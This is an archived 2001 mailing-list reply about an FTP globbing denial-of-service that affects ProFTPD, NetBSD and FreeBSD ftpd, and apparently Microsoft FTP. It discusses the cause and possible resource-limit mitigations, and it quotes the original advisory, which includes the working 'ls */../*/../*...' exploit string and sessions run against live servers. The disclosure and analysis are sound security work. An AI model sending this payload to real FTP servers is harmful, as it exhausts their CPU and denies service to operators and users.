Skip site navigation (1)Skip section navigation (2)
Date:      Fri, 16 Mar 2001 13:10:05 -0500
From:      JT <luser@ahab.com>
To:        "Frank DENIS (Jedi/Sector One)" <j@4U.NET>
Cc:        BUGTRAQ@SECURITYFOCUS.COM, freebsd-stable@FreeBSD.ORG
Subject:   Re: Multiple vendors FTP denial of service
Message-ID:  <20010316131005.A284@zed.unbeat.com>
In-Reply-To: <20010315093409.A5565@synchron.home.rtchat.com>; from j@4U.NET on Thu, Mar 15, 2001 at 09:34:09AM %2B0100
References:  <20010315093409.A5565@synchron.home.rtchat.com>

next in thread | previous in thread | raw e-mail | index | archive | help
This does work on FreeBSD 4-stable as well (ftp announces itself
as(Version 6.00LS)).

This should probably work on any ftp that uses an external ls command,
and other than making ftpd friendly for use by login.conf (which would
mean what? ftpd dropping privileges to the user once a connection is
made?  I'm betting this is not so simple though I'd love to hear from
one who knows), I don't know what else to do - perhaps modify
inetd.conf to run ftpd with resource limits?

The shell is the locus of the problem here; it's really just simple
filename globbing expanding into a very large set of pathnames to
check; what is interesting is to test this from the shell (look in
ftpcmd.y to see where I got this command):

ls -lgA */../* is fine, but;
ls -lgA */../*/../* results in:
    ls: Argument list too long
while extending this further results in CPU hogging as observed by
ftpd.  This demonstrates that the ls command can't be 'fixed' to
prevent this problem.  The filename globbing - which is where the
resource hogging happens - happens before the final list is passed to
ls.

Jason T

On Thu, Mar 15, 2001 at 09:34:09AM +0100, Frank DENIS (Jedi/Sector One) wrote:
> - Proftpd built-in 'ls' command has a globbing bug that allows remote
> denial-of-service.
> 
>   Here's a simple exploit, tested on the Proftpd site :
> 
> $ ftp ftp.proftpd.org
> ...
> Name (ftp.proftpd.org:j): ftp
> ...
> 230 Anonymous access granted, restrictions apply.
> Remote system type is UNIX.
> Using binary mode to transfer files.
> ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
> 227 Entering Passive Mode (216,10,40,219,4,111).
> 421 Service not available, remote server timed out. Connection closed
> 
>   That command takes 100% CPU time on the server. It can lead into an easy
> DOS even if few remote simultanous connections are allowed.
> 
>   Other FTP servers may be concerned as well. Here are various tries :
> 
> - NetBSD FTP showed the same behavior than Proftpd :
> 
> ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
> 200 EPRT command successful.
> (long delay)
> 421 Service not available, remote server timed out. Connection closed
> 
> So NetBSD-ftpd 20000723a may also consume 100% cpu time, resulting in a
> possible DOS. Other BSD FTP may be affected as well.
> 
> - Microsoft FTP Service (Version 5.0) seems also confused by the command :
> ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
> 500 'EPSV': command not understood
> 227 Entering Passive Mode (207,46,133,140,4,223).
> 200 PORT command successful.
> 150 Opening ASCII mode data connection for file list.
> (very long delay... nothing happens...)
> 
> - Publicfile refuses the command :
> 
> ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
> 227 =131,193,178,181,97,222
> 550 Sorry, I can't open that file: file does not exist.
> 
> - Wu-FTPd 2.6.1 is not vulnerable. Only the result of 'ls *' is computed and
> displayed.
> 
> - PureFTPd (any version) is not vulnerable. Result is "Simplified wildcard
> expression to *" and the 'ls *' output.
> 
> 
>   Maintainers of vulnerable servers have been warned of this bug.
> 
> --
>   -=- Frank DENIS aka Jedi/Sector One < spam@jedi.claranet.fr > -=-
> 		LINAGORA SA (Paris, France) : http://www.linagora.com

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-stable" in the body of the message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?20010316131005.A284>